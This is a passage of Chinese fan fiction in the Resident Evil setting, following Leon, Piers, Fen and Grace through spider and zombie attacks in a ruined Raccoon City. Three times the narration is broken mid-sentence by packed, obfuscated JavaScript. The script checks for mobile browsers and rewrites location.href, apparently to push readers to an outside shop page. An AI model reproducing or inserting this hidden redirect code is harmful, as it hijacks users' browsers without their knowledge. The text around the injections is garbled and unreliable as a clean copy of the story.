“快跑!”皮尔斯已经冲到了对面的公寓楼门口,回头朝着巨型蜘蛛洒出一梭子子弹帮里昂争取时间。 两人才堪堪躲进这栋楼里,愤怒的巨型蜘蛛就追了过来,一头撞在了门梁上。 “轰”的一声,门柱被撞断了。里昂拽着皮尔斯,两人连滚带爬往公寓深处退去,眼睁睁看着大楼出口被断裂的钢筋水泥堵得死死的。 “啊,这进展真不错。”里昂干巴巴地说了一句。 “真他妈的,我还以为我见多识广呢,”皮尔斯一边更换弹匣一边说,“那是他妈的什么玩意儿?” “不知道,不在乎。”里昂收起斧子,转身沿着尚未被堵死的唯一一条走廊前进,“能杀就行。” 皮尔斯觉得这种乐观精神真是值得敬佩,“希望芬别遇上这玩意儿。她怕死蜘蛛了。” 里昂活动了一下肩膀,“我们先把那玩意儿杀了,它就不会去吓唬你老婆了。来吧,先找到出路。” 这栋楼还算稳定,大概以前建的东西就是结实,经过刚才这一遭也没有二次坍塌的风险。两人在仅剩的这条走廊里快速穿行,时不时就得从断壁残垣中钻过去。因为没有别的出路,他们只能先从楼梯间往上爬了两层楼,然后就发现上四楼的楼梯彻底断了。 好消息是,里昂在三楼外面找到了苟延残喘的消防梯,虽然下去的楼梯已经烂完了,但他们还能往上爬。 “那上面能有什么?”皮尔斯一边问一边扫视着四周,免得被大蜘蛛从天而降打个措手不及,“我们总得找路下去。” “这边反正没路下去。”里昂抓着梯子开始往上爬,“上去再说,实在不行想办法跳下去。” 皮尔斯只好也收起枪跟着往上爬,一边说道:“这么高你还打算跳下去?年纪大了不该好好保护膝盖吗?” 里昂上楼之后回头拉了皮尔斯一把,“是啊,但看看现在是谁开路。” 当然,两人的闲聊到此为止。四楼的屋顶早就被掀飞了,抬头就是一览无余的天空。而巨型蜘蛛显然也很清楚这一点,它正从对面“咔嚓咔嚓”地迅速爬上来,螯肢和触肢在空中舞动、呼呼有声。 11. Chapter 11 芬和格蕾丝也遇到了蜘蛛。那是在地上的路走不通,两人于是决定去地铁隧道里碰碰运气之后。 虽然相较于里昂和皮尔斯所遭遇的巨型蜘蛛而言,这些颜色苍白、体长大约一米的蜘蛛只能算是幼崽,但芬和格蕾丝的尖叫声在隧道里回荡了好几分钟,期间还夹杂着凌乱的枪声、叫喊声,以及两人狼狈逃窜时的脚步声。 “我、我、我再也不要坐地铁了。”芬在确定那些白色大蜘蛛并没有跟过来之后说道,几乎是在呜咽了,“我想回地面上去。” 格蕾丝也快哭了,“前、前、前面应该就是地铁站出口。我、我没有子弹了。” 两人都加快了脚步,沿着坑坑洼洼的隧道一路小跑。这下面黑得伸手不见五指,也就只有格蕾丝的手电还能勉强起到照明作用。芬和格蕾丝的运动神经都不算特别发达,两人一不留神还会被轨道的残骸绊上一跤,摔个五体投地。 等重新见到天空的时候,芬已经想哭着回家了。她又饿又渴,裤子膝盖上磨了好几个并不时髦的破洞。回头看格蕾丝,这姑娘也滚了一身的土,胳膊上的伤口虽然没再渗血,但纱布已经变得肮脏不堪。 “好吧,至少我们还有新鲜空气。”芬喘了几口气,积攒力气伸出手,拉着格蕾丝走上最后几级台阶。 地铁口斜前方是一道军事级别的封锁口,金属网格大门上还拉着电网,看着少说也有五米高。 “这边不会就是往市中心去的路吧?”芬呻吟了一声,拖着脚步走到门前,“谁这么缺德,把路封了?” “二十多年前军队过来吧。”格蕾丝左看看、又看看,“肯定是怕好事之人溜进来。” “咦?”芬突然看见了门上安装的炸药和□□,她精神一振,加快脚步走过去,“这可不像是二十多年前的。看起来有人想炸开这道门,而且就是这几年的事情。” 她一边说一边迅速检查,然后做出判断:“谁啊这是?干活有头没尾的,怎么只有……哦。” 芬看着脚边地上散落的零件碎片,说:“看起来有人把本来完整的引爆器给破坏掉了。”她蹲下来扒拉了一下残骸,“好像是被子弹打坏的。” “这边的箱子上有B.S.A.A.的标志。”格蕾丝也发现了一些线索,她在大铁门旁的几个军绿色的箱子附近找了找,“太好了,这边有子弹,好像是物资补给箱。” “有工具吗?”芬自己包里的工具不足以支撑修复这个被打坏的破烂引爆器,而看起来,眼下她们要是想继续前进,就必须得炸开这道门。 B.S.A.A.怎么会在几年前就来过浣熊市呢?他们的目的是什么?又是谁阻拦了他们进入市中心的企图? “嘿,你看这些能用吗?”格蕾丝费力地把一个打开的箱子往芬这边推了推。 芬凑过去看了一眼,摇摇头,“这是工兵铲和动力锤,估计是挖战壕用的。”箱子里还有一些铁丝和钢索,芬伸手扒拉了一阵,把工兵铲拿起来掂了掂,“但说实话,这玩意儿挺好用的,我要了。” 格蕾丝又去其他几个箱子里看了看,失望地垮下肩膀,“都是空的。” “有补给就不错了。”芬倒是打起了精神,“说不定附近有营地,既然B.S.A.A.来过这里,总不能什么都不留下吧。” “说得对。”格蕾丝在原地转了几个圈,左看右看,指了指大门左边,“那边是不是有个帐篷?” “过去看看。”芬把工兵铲挂在屁股后面,和格蕾丝兴冲冲往过走。铁丝网围着的一个后院开了道门,里面果然是一顶大帐篷,看着就像军用的。还有燃油发电机供电。 芬先跑到了发电机旁边,检查了一下燃料余量,试着启动了一下。电机“噗嗤”了几声,绿灯顺利地亮了起来。 “太好了,我们有电了。”她兴奋地说了一声,回头正看见格蕾丝在帐篷里检查摆在桌上的电脑。 “他们的电脑居然没锁。”格蕾丝在键盘上按了几下,“这里好像是被突然废弃的。” 芬立刻走过去和格蕾丝凑到一起看屏幕。这台电脑上有地图,但可惜没有行动日志,也没有视频、资料什么的能说明此地究竟发生了什么。芬皱眉看了几眼还算详细的地图,然后在视线往上的时候心猛地一跳,迅速抬手把电脑盖子阖上了。 “怎么了?”格蕾丝吓了一跳。 “摄像头的防窥盖被人卸了。”芬不确定刚才有没有看到摄像头运行的指示灯,“万一是陷阱呢。” 格蕾丝眨眨眼,“陷阱?谁会在这地方……设陷阱?” “不知道,希望是我想多了。”芬不高兴地撇了撇嘴,为自己的失策感到懊恼。 说不定是B.S.A.A.留了个心眼儿,但皮尔斯上次离开家出任务之前告诉过芬,不要太信任B.S.A.A.的其他人,所以真有陷阱的话是谁设的都不太靠谱。 “先找找有没有工具吧。”芬说着看了看这个帐篷,角落有个大箱子,她掀开盖子,发现里面都是武器装备。 “有能用的吗?”格蕾丝刚才捡的子弹不算多,于是凑过来看了看。她当然是一点儿也不想再遇到大蜘蛛或者任何需要开枪的怪物了,但真遇上也不能光指望尖叫就能震死它们。 “啧,都是些大家伙。”芬挑了挑,摇摇头,“冲锋枪,还是算了,我两条胳膊都好使的时候也压不住枪口。”她看了眼格蕾丝的胳膊,也不是肌肉发达的类型,“你呢?” 格蕾丝连连摇头。 芬于是把箱子盖回去了,“外面还有集装箱。走,去看看里面藏什么宝贝了。” 结果外头的集装箱上锁了。芬研究了一下,让格蕾丝往旁边站,然后抡起工兵铲砸了十几下,成功把锁砸开了。 “这其实是有技巧的。”她还挺得意,用力把门拉开的时候跟格蕾丝说,“军用的一般都结实,乱砸的话砸烂铲子都没用。” 格蕾丝好奇地问:“你怎么会懂这些?” “因为我是工程师啊。”芬说着抬手挥了挥扬起的尘土,带头走进集装箱里面。 一辆摩托车占据了大部分空间,芬看了一眼,说:“要是我丈夫看见这玩意儿了,绝对会兴奋的。” “说不定,等炸开门之后也许我们能骑这辆车走。”格蕾丝还挺乐观,“走路应该挺远的吧。” “你会骑摩托吗?”芬回头问她。 格蕾丝老实地摇了摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440259|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我也不会。”芬通知她这个坏消息,“我只会骑自行车和电动车。” 格蕾丝叹了口气,然后又眼睛一亮,“芬,你看那是不是罐头!” “罐头!”芬一转身也看见了,“还有矿泉水!哇,这儿有工具箱!” 惊喜来得太多太快,芬先拿起工具箱打开看了看,因为她怕打开罐头的话一时间就只顾着吃了。不过工具箱里的工具相当有限,估计是个修理工留下的,大部分工具都只适配汽修。 总有能用的,不能用也要想办法用。 “至少还有罐头。”芬打起精神,拿起罐头看了看生产日期,“三年前的,唔,还能吃吗?” “呃,军用的应该保质期比较长?”格蕾丝说着忍不住咽了口口水,她真的好饿,连着错过了两顿饭,她这一路走来全靠自我催眠才忽视了咕咕叫的肚子。 芬也饿得快死了,于是她先和格蕾丝一人开了一个罐头,两人坐在集装箱旁边的空地上,就着矿泉水用实践检验了一下军用罐头的质量。 出于女孩子的矜持,芬和格蕾丝都没有狼吞虎咽,不过她们吃得也都不慢就是了。 “真希望我们能有条件把水煮沸了再喝。”芬开始给这一餐收尾的时候自我检讨了一下,“要是在这地方拉肚子了,那可真是一点儿也不有趣。” 格蕾丝差点把刚喝进嘴里的水吐出来。 “闻着没异味,可能还凑合。”芬安慰她,“反正吃都吃了。” “拜托别让我拉肚子。”格蕾丝合十手掌祈祷了一下,然后把地上的垃圾收拾到了一起。 吃饱了之后,两人都觉得精力和体力恢复了一些,虽然困意也随之上涌,但没人敢在这种地方睡觉。 “我们接下来去哪儿?”格蕾丝问芬。 “看看有没有其他营地,找找富余的□□。”芬有计划,“这种军用配给的爆破箱应该每个小队都有的,他们不可能只派了一支小队过来。说不定就有没被破坏的。实在不行,我们就去民居里碰碰运气,拆点儿还没烂掉的电器东拼西凑一下,能产生电火花就行。” 格蕾丝点了点头,长吁了一口气,“幸好有你在,我一点也不懂这些。” “别担心,总会有办法的。”芬活动了一下没受伤的那边胳膊,捶了捶酸痛的大腿,“要是真的什么都找不到,我们就拆一颗子弹做个小炸药包,去引爆门上那个大的。” “那样行得通吗?”格蕾丝顿时觉得这就是最简单的办法。在这么大的地方找东西,谁知道要找到什么时候去。 “大概率行得通,就是比较危险,搞不好把自己炸死了。而且也可能引爆失败,白费功夫。”芬一边捶腿一边解释,“因为门上安装的炸药是钝感型的,也是出于安全考虑,毕竟这东西必须得有稳定性。不然抱着炸药包去安装的路上挨枪子儿了岂不是糟糕。” 格蕾丝忍不住一笑。 “不过总有发挥空间的。”芬并不担心找不到备用零件的问题,“我们先尝试安全的办法,实在不行我再给你展示我的压箱底技能。” 两人边说边休息,正准备爬起来继续行动,某个遥远的地方突然传来一阵阵枪声:啪!哒哒哒哒哒! 12. Chapter 12 里昂和皮尔斯在对付巨型蜘蛛的时候,那些把姑娘们吓得屁滚尿流的“小”蜘蛛也跑来给他们添了不少乱子——没人想在被巨型蜘蛛追着咬屁股的时候还得对付又会跳、又会咬人的巨型蜘蛛幼虫。 没人。 但好在这些鬼东西总算是死了,彻彻底底见阎王去了。倒霉的是,巨型蜘蛛临了还给他们找了个麻烦,撞破楼板带着两人直下负一层。虽然有怪物在下面垫底儿,但皮尔斯还是摔了个半死,爬起来的时候浑身的骨头都快散架了。 里昂在这方面显然更有经验,作为最后一斧子劈死巨型蜘蛛的人,他从蜘蛛那长满尖牙的巨大口器上跳下来的时候显得游刃有余。 “需要我拉你一把吗,小伙子?”他竟然还有闲情逸致问皮尔斯。 “谢了,我爬得起来。”皮尔斯不服气地咬牙站稳,检查了一下枪械,环顾了一下四周,“这是……地铁隧道?” “那边应该是我们要去的方向。”里昂居然没失去方向感,“要是这下面没堵,倒是给我们省时间了。” 皮尔斯点点头,率先迈开了脚步。里昂刚走了几步,通讯器被接通了。他本来以为是雪莉有什么消息,结果耳机那头传来的竟然是艾达的声音。 “里昂,听好了。”艾达的语气很严肃,“芬和那个阿什克洛夫女孩儿在离你们不远的B.S.A.A.营地旧址触发了维克多·基甸设下的警报陷阱。我可以帮忙拖住维克多,但你们必须尽快找到那两个女孩儿,在她们到处乱跑把自己害死之前。坐标我发给你了。” 然后,不等里昂有任何机会开口询问,通讯就被艾达毫不留情地切断了。 “艾达!”里昂不甘心地叫了一声,然后叹了口气,对回头询问的皮尔斯解释说,“知道芬和格蕾丝的下落了,我们走。” 皮尔斯的心提了起来,“她们还好吗?”他想问的其实是芬到底有没有变异,但这种问题从来都没有合适的措辞能帮他把话问出口。 “不知道,很显然我老婆不是爱八卦的性格。”里昂加快脚步超过了皮尔斯,“来吧,去了我们就知道了。” 两人一路急行军,从地铁口出来之后所见的正是不久前芬和格蕾丝看到的那道军事封锁大铁门。 “她们要是打算去市中心的话,这道门肯定拦住她们了。”皮尔斯只看了一眼就知道那引爆器已经废了。 “嘿,营地在这边。”里昂说着小跑了起来,“看起来有人恢复了供电。” 他们在帐篷外的集装箱边上停下脚步,警觉地四下环顾。里昂踢了一脚被拢到一起的空罐头和矿泉水瓶,说:“两人份。” 皮尔斯心里涌起莫大的希望,“丧尸可不会开罐头吃。” “吃完也不会收拾。”里昂点点头表示赞同,“她们都没事。” “人都上哪儿去了呢?”皮尔斯仰头看了看附近的高楼,然后提高声音喊了一声:“芬!” 没人回答,就知道不会这么好运。皮尔斯只能压下心中的焦急,迅速分析眼下的情形——如果芬已经恢复理智的话,她肯定会想办法修复大门上的引爆器。 “里昂,我觉得她们应该是去找工具和零件了。”皮尔斯开口说道,“你知道哪儿还有B.S.A.A.的营地吗?” 里昂摇摇头,“找个高地探查一下。她们应该没走远。” 营地附近是座公寓楼,看着倒是足够高,但楼外的升降梯没法启动。两人于是决定进入雪松溪公寓楼内查探一番。 然而,还不等他们把公寓货运通道的卷闸门抬起来,那架位于楼顶的升降梯突然远远传来“嗡” 的一声。 竟然被人从上面启动了。 刚听见枪声的时候芬和格蕾丝还激动了一下,但她们冷静下来就意识到,自己根本没法判断开枪的是敌是友,而且枪声传来的方向也很难让人准确判断。 所以,在确定视野范围内没有任何异象之后,两人还是按照原计划展开了行动:寻找B.S.A.A.的其他营地,搜索可用零件。 然而,芬和格蕾丝的冒险一开始就遭遇了挫折。 她们在遇到蜘蛛以前以为这里是一座空城,遇到蜘蛛之后以为这里有变异怪物。枪声说明有活人,没什么好稀奇的,毕竟她俩也是活人、也在这里。 但两人都没想到,这里居然还有感染者在游荡。 “当年的导弹难道没把这些东西都消灭掉吗?”两人躲在营地不远处的一个街角,看着在十几米外的大巴残骸附近游荡的丧尸。 “看到它们皮包骨头的样子了吗?”芬只觉得不寒而栗,“这种该死的病毒,把人变成这种模样,死了也不得安宁,简直是对生命最邪恶的亵渎。” 格蕾丝小声问:“我们……我们应该放倒他们吗?” 其实格蕾丝枪法还不错,不过芬思忖片刻摇了摇头,低声说道:“枪声大概会吸引更多这种东西过来。我们还是溜过去吧。” 两人的目标是绕到雪松溪公寓另一侧检查是否有能到达楼顶天台的路径,因为她们都不是很想从帐篷附近的那个走车的入口进去——那里面黑漆漆的,听起来还有怪声回荡。 现在看来,外面也不怎么安全。 但她们好不容易才通过了从营地通往这里的那条断裂路口。为此,芬还想办法启动了一旁工地上的起重机,客串了一把工地操作员。她把那个在起重机上吊了三十年的逾期集装箱巧妙地移动到了地面坑洞的上方,然后直接扔了进去,勉强在断裂的路面间搭起了桥梁。 “你觉得它们还有视力吗?”出发前格蕾丝小声问道,“现在是白天,路边也没有什么障碍物,我觉得我们被看到的可能性很大。” “这个嘛,我们很快就能知道了。”芬嘀咕着回答,然后猫着腰从藏身之处出来,贴着墙根向前方斜斜停着的一辆装甲车前进。 因为有车辆阻挡视线,她们看不太清那边是什么,不过根据大楼建筑规划来看,那里多半会有一个停车场出口的样子。 至少芬是这么期望的。 结果,当她靠近装甲车之后,却在看到停车场入口之前先看到了一地的尸体,残缺不全,场面十分血腥。 “哦,耶稣。”紧跟在芬身后的格蕾丝也吓了一跳,抓紧芬的右胳膊害怕地说,“这会是谁、谁、谁干的?” “不知道。这些死者,他们、他们是B.S.A.A.的士兵。”芬咬紧嘴唇,飞快扫视着这片三年前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440260|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屠杀现场,“凶手持有大口径武器,看看那些伤口,像不像是反器材枪械造成的?” 格蕾丝虽然是F.B.I.的分析员,但她以往参与的案子里还真没有这种死者的肢体、头部完全被子弹打烂的情况。太恐怖了。里昂给她的那把安魂也算是大口径,但在她拿来防身的为数不多的场合中,12.7mm的子弹也没把感染者打成这个模样。 “等等,这里有一个还戴着头盔的。”芬壮起胆子,在唯一还算完整的尸体旁蹲下——完整也是相对的,这个倒霉鬼的右臂完全消失了,变成了一地血肉。 真是折寿啊。芬在心里念着“阿弥陀佛”,咬紧牙关从破碎的战术头盔上拆下摄像装备,检查了一下,轻轻说道:“该死,我们还需要一部手机。” “我、我来找。”格蕾丝也在一具尸体旁边蹲下,她一边低声道歉一边翻看那些口袋,找到第三位死者身上的时候,格蕾丝精神一振,说道:“芬,我找到了一部手机。” “还能打开吗?”芬没抱多少希望。她已经检查完了手头的装置,没被破坏,但没有外设读取她们也看不到录制的画面。 格蕾丝按了按手机,摇摇头,“没电了。” “营地有电,一会儿回去充上电看看当年究竟发生了什么。”芬说着站了起来,把摄像装备收到腰包里。她看了眼这一地尸体的位置,发现旁边就是通往公寓的大门,居然敞开着。 看起来,这些士兵当年是从公寓里出来然后遇袭的,说不定里面有他们的基地。 更远处的丧尸虽然还在漫无目的地游荡,但难说它们会不会发现两个不速之客已经到来。芬于是朝格蕾丝打了个手势,两人一前一后地走进了雪松溪公寓的大门。 公寓大厅里空荡荡的,没有一件家具,显然已经被清理收拾过了。不过在靠近楼梯一侧,一尊轻型速射迫击炮正静立在那里,让芬不由得倒吸了一口冷气。 “苍天在上,他们还真是把大家伙带来了。这是准备对付什么东西?”她悄声说着,仿佛怕惊扰到在楼梯口蹲坐的那门炮。不过,等芬上前仔细查看的时候就发现,这玩意儿居然已经坏了。 “我去,座钣和炮筒都开裂了。怎么造的,能把这地方弄坏?”芬一边嘟哝一边蹲下摸索着墨绿色金属面上的宽大裂缝,然后她回头看了一眼格蕾丝,笑着问:“还想上楼吗?打赌他们把好用的都抬上楼了,这玩意儿在高处更有优势。” “还有更多大炮?”格蕾丝两手无处安放地在身边抽搐,“怎、怎、怎么会有这种武器呢?这里有过战争吗?” “也许他们发现了这里还有感染者游荡,所以带武器来清理。”芬挠了挠头,不确定地回答。 格蕾丝点了点头,稍微安心了一点,“那,我们上去看看吧。”她更想赶快找到零件,但看起来芬似乎对这些武器很感兴趣。 芬站了起来,“别担心,我可不是战争狂人。不过安置这种重武器的地方通常也可以作为小队基地,说不定就有我们要找的东西。而且组装肯定是在上面完成的,工兵说不定会把工具箱留在上面。” 这一点,芬猜对了。 她只是没想到,那些工兵也留在了上面。当然了,还有炮兵。 13. Chapter 13 从楼梯间上去,顶层是一个带玻璃顶棚的阳光花房。当然,玻璃顶棚早已经没有玻璃了,只剩扭曲的金属框架还在。 下面的花坛里,原本种植的花草大概在三十年前就死绝了,现如今被苔藓、杂草之类的重新占领,还有许多灰绿色的藤蔓在碎石堆的缝隙中顽强生长。 “要是夏天来的话,这里看上去一定更加诡异。”芬一边抓着架在花房边缘的梯子往天台爬,一边对等在下面的格蕾丝说,“想想看,咱们一路上见到的那些树啊、草啊什么的,等到了夏天,就会在大楼废墟旁和街道上变得郁郁葱葱的。说不定还会有鸟叫,好奇心旺盛的小动物说不定也会跑来。”……然后被游荡的感染者吃掉。 想到这里,芬忍不住打了个哆嗦。 “是啊。”格蕾丝点点头,其实她觉得这地方在深秋的情形也足够诡异。那些从汽车残骸中生长起来的低矮柳树,还有沿着大楼外墙蔓延的爬墙虎,正因为不像夏天那样郁郁葱葱,所以看着更让人觉得荒凉。 芬已经爬上去了,于是格蕾丝也收起枪,开始跟着往上爬。她仰头看着上去之后左顾右盼的芬。阳光仍旧算不上灿烂,但天台上至少比楼里面明亮得多。 结果,梯子刚爬到一半的时候,上面蹲着等她的芬突然变了脸色,回头冲格蕾丝“嘘”了一下,指了指不远处。 格蕾丝的心顿时提了起来。 因为这一路都平平安安的,两人都以为这个曾被B.S.A.A.当成作战基地的公寓楼是安全的。然而,等格蕾丝也爬上去之后,她立刻就看见不远处摇摇晃晃背对着她们的B.S.A.A.士兵。 肯定不是活人。芬能看到它露在外面的干瘪皮肤,看起来就像木乃伊一样已经严重脱水、风干了。 更糟糕的是,这家伙竟然还抓着一把冲锋枪。难道说和在疗养院的那些感染者一样,它们都保留了部分生前的习惯吗? 这下可糟了,被丧尸追击的话还能跑得快点甩掉它们,但芬觉得,要是对面当真扫射一梭子子弹过来,就算感染者没多大准头,她和格蕾丝两个大活人被流弹打中也不是好玩的。要知道,她们连最基本的防弹背心都没穿,一个穿着T恤,一个穿着秋衣,护甲性能完全为零。 格蕾丝在旁边悄悄朝她打了个手势,跟芬一样满脸担忧。 感染者这种东西,有一个就会有更多,难道说这上面到处都是感染的士兵丧尸吗? 一时间,芬甚至起了原路返回的心思。与其冒着被乱枪打死的风险,还不如换个地方找东西,实在不行就采用最终的备选方案,自己做炸药引爆。但格蕾丝突然拍了拍芬的胳膊,然后从腰包里掏出了一管针剂。 那是芬给她的毒液注射剂。 芬的眼睛一亮。对方始终背对着她们,悄悄摸上去偷袭的话说不定真能成功。到时候,至少她们能拿着那把冲锋枪防防身——现在后悔没在楼下营地的武器箱里捡点儿装备已经太晚了。 因此,芬缓缓点了点头,做出了决定。格蕾丝于是猫着腰,从身后朝那个士兵感染者摸了过去。 芬也紧张地盯着那个离格蕾丝还有几步远的丧尸,心里暗自祈祷那家伙千万别转身。 结果它倒是没转身,但芬突然听到自己身后稍高一些的地方传来了某种生锈金属转动的声音。 她迅速回头,然后浑身的血液瞬间一凉。 两人爬出来的花棚位于天台中央,但后面这一侧并不像前边那样一览无余,而是有一个曾经用来放储水箱的小高台。 只不过,现在那上面安置的不是储水箱,而是一门轻型速射迫击炮。一个士兵丧尸正站在旁边,阴魂不散地“咔咔”转动炮口朝她们这边瞄准。 这时芬已经不能出声警告格蕾丝了,因为格蕾丝离那个拿枪的士兵丧尸太近,她一出声,那士兵丧尸一回头,绝对得把格蕾丝抱个正着。 怎么办?芬自己没拿枪,手边儿也没有任何远程武器。 妈的,只能拼了。 这个结论得出的同时,芬已经在脑海中计算出了榴弹发射、落地的时间。在这短暂的片刻间,她就像个绝地求生的短跑运动员一样,卯足了劲儿朝小高台全速冲刺过去,却又在跳起来抓住边缘爬上去的时候听到了炮筒弹射时的那声“嗵”。 艹,就慢一步。 芬大吼了一声“格蕾丝快躲开”,来不及回头看同伴有没有听到并做出反应,朝着那个正摇摇晃晃俯身向弹药箱伸出手的士兵丧尸扑了过去,眨眼间就和它一起滚倒在地上。‘’ 芬的目标很明确。她左手死死抓住士兵丧尸背在身上的冲锋枪枪管推到一旁,右手摸到枪托后侧的背带扣一按一拽卸掉背带,眨眼间就把枪夺了过来。 然后她调转枪口,瞄准丧尸的脑袋果断扣下扳机。 冲锋枪在芬的手中剧烈跳动,枪托抵在她受伤还没痊愈的右肩上,但芬根本来不及感觉到疼。不过,要不是和目标距离够近,而且芬是跪姿射击,她这一梭子子弹恐怕有一半都得喂到上天。 眨眼间,丧尸的脑袋就碎了一地,血腥程度差点让芬把刚吃的罐头全吐出来。与此同时,只听“轰”的一声,那一枚芬没能拦住的炮弹落地了。 “艹。格蕾丝!” 芬踉跄着站起来回头朝天台下面望去,可是弥漫的烟尘一时散不开,什么都看不清楚。她不甘心地又喊了一声“格蕾丝”的名字。 仍旧没有回应。 芬正想从高台上跳下去,但亏得是她在跳下去之前扫了一眼,鬼使神差地看到了隔壁那栋楼顶布置的另一门炮。 那里也有个士兵感染者,遵循着同样的生前行为,正将炮口朝她这边转来。 芬破口大骂的同时迅速扔掉冲锋枪,上前拼命推着炮口也朝对面转过去,然后俯身从弹药箱里抱起一枚炮弹填进炮筒。 也许感染拖慢了炮兵丧尸的速度,她瞄准发射的时候竟然还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440261|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被对方炸飞,但芬已经听到了炮弹出膛的那声响。 和死神赛跑也不过如此。她等自己这边的炮弹一出膛就双手抱头直接从高台上跳了下去。炮弹落地掀起的气浪直接把她冲飞了出去,摔在天台上的时候芬直接眼前一黑。 虽然没被炸死,但芬失去了一段时间的意识。隐约间,她觉得自己听到了皮尔斯叫她的名字,但眼前的黑雾实在太浓,等芬努力清醒过来,在满是碎石、灰尘的天台屋顶抽搐、挣扎着爬起来的时候,那个声音已经消失了。 “格蕾丝。”芬叫了一声,咳嗽着,手脚并用朝她最后一次看到格蕾丝的方向爬过去。不远处的地面上横着一条断腿,但是包裹在迷彩裤里面的,所以应该不是格蕾丝。 千万别是格蕾丝。 “格蕾丝!”芬提高声音又喊了一声,然后她终于听到了对方的回应,差点儿喜极而泣。 “芬!你还好吗?”格蕾丝也被炸晕了一阵,但同样幸运地没有缺胳膊少腿,顶多是跟芬一样灰头土脸、添了无数组织挫伤。 她踉踉跄跄地朝芬跑过来,伸手把人从地上拉起来。劫后余生的两人拍了拍彼此身上的土,顺便检查了一下各自有没有损失什么身体部件。 “千钧一发。”格蕾丝的手还在抖,“我听到你叫我躲开,刚跑了几步炮弹就落下来了。” “是啊,咱俩真是命大。”芬确定两人都还全须全影的,终于松了口气,“还是先下去吧,这地方跟我们命里犯冲。” 至少天台边上就有个升降机,两人相互搀扶着上去,然后启动开关开始缓缓向下。 “这种会开炮、会开枪的感染者实在太硬核了。” 在升降机上,芬对格蕾丝说,“要是每个基地都有这样的,咱们还是去附近民居里碰碰运气吧。我以前玩《使命召唤》的时候我丈夫就说过,我在战场上表现得就像一只瞎眼的田鼠在雷区乱窜。” “哪有,你很厉害了。我觉得你刚才救了我们两人的命。”格蕾丝虽然没看到芬做了什么,但炮台显然不会自己爆炸。 芬摇摇头,“运气好罢了。”而好运不会一直都在的。 正说着,升降机“咣当”一声到底,显然减震系统已经在这三年里报废了。两人差点一屁股坐倒在地,牙根儿都震得发麻。 相互搀扶着走向之前的营地帐篷时,她们的腿都不太听使唤,走得摇摇晃晃的。 “我们接下来去哪儿?”格蕾丝问芬,“还是先歇一歇?” “没时间歇了。”芬摇摇头,往帐篷那里示意一下,“先拿枪,压不住就压不住吧,总比空手强。” 说完芬扶着腰活动了一下,长叹一口气,说道:“这就是我怀念有男人在身边的时刻了。真后悔没听我丈夫的去练点儿肌肉出来。” 这个时候,有人突然在她们身后咳嗽了一声,芬和格蕾丝都下意识地回头一看,然后被离她们仅两步之遥、全副武装的男人们吓得一起尖叫起来。 14.Chapter 14 出于安全考虑,在升降机下来的时候皮尔斯和里昂先躲进了帐篷里。往外看的时候,皮尔斯立刻就确认了升降机上的就是芬和格蕾丝,但那两人从升降机平台走出来的踉跄模样让他心里一沉。 幸好她们开口说话了,真是谢天谢地。 打完照面,等姑娘们看清身后不是丧尸、终于不再尖叫了,皮尔斯这才把目光集中到芬的身上。她看起来灰头土脸的,一边颧骨上还有擦伤,两只手上也有不少擦伤。裤子膝盖破了好几个洞,多半是连滚带爬摔得。 “小皮!”芬又惊又喜地叫了一声。 不知为何,这比听到芬和那个F.B.I.正常说话还让皮尔斯能肯定病毒并未夺去她的心智。他还记得芬刚开始这样叫自己的时候,皮尔斯百思不得其解地问过她,干嘛这么叫,他又不是没有正经名字。 芬的回答是:“你的名字太难念了,连个像样的昵称都没有。小皮叫着多省劲儿。” 皮尔斯可听不出任何省劲儿来,她发的那个音明明更拗口。但皮尔斯这么多年也没学几句中文,因此也无法做出反驳,只好随她去了。 他绝对不是因为芬这样叫的时候语气总是更亲昵才答应的。 里昂瞟了皮尔斯一眼,在心里叹了口气,开口问道:“你们没事了?” 他主要问的是芬,后者看起来眼睛也确实不再是红色的了。按照芬以往的记录来看,感染再恢复似乎也不是什么天方夜谭。毕竟她研究的就是病毒与人体的平衡。 芬迟疑地点了点头,然后在皮尔斯朝她跨出一步的时候迅速举起双手说道:“不行!还没进行安全检查,还没隔离,不能排除感染风险!”还没说完,皮尔斯已经伸手把芬抱进了怀里。 “真该死,芬。以为我们说好了,不能再这么吓我了。”皮尔斯痛恨任何煽情时刻,因此以最快的速度拍了拍芬的后背就把她放开了,架势仿佛在战场和好哥们重逢。 但芬的脸红得就像喝了一整壶二锅头一样。 “格蕾丝,”里昂低声问旁边的姑娘,“发生什么了?” “呃……”格蕾丝还没完全从“芬的丈夫竟然有只眼睛是这样子的”这个意外中回过神来,但她看芬和里昂的反应倒是也不担心对方是怪物。 不过好奇心什么的可以暂时放放,她梳理了一下思路,开始给里昂讲几人在净水厂分开之后发生的事情。 其实也没多少可讲的。 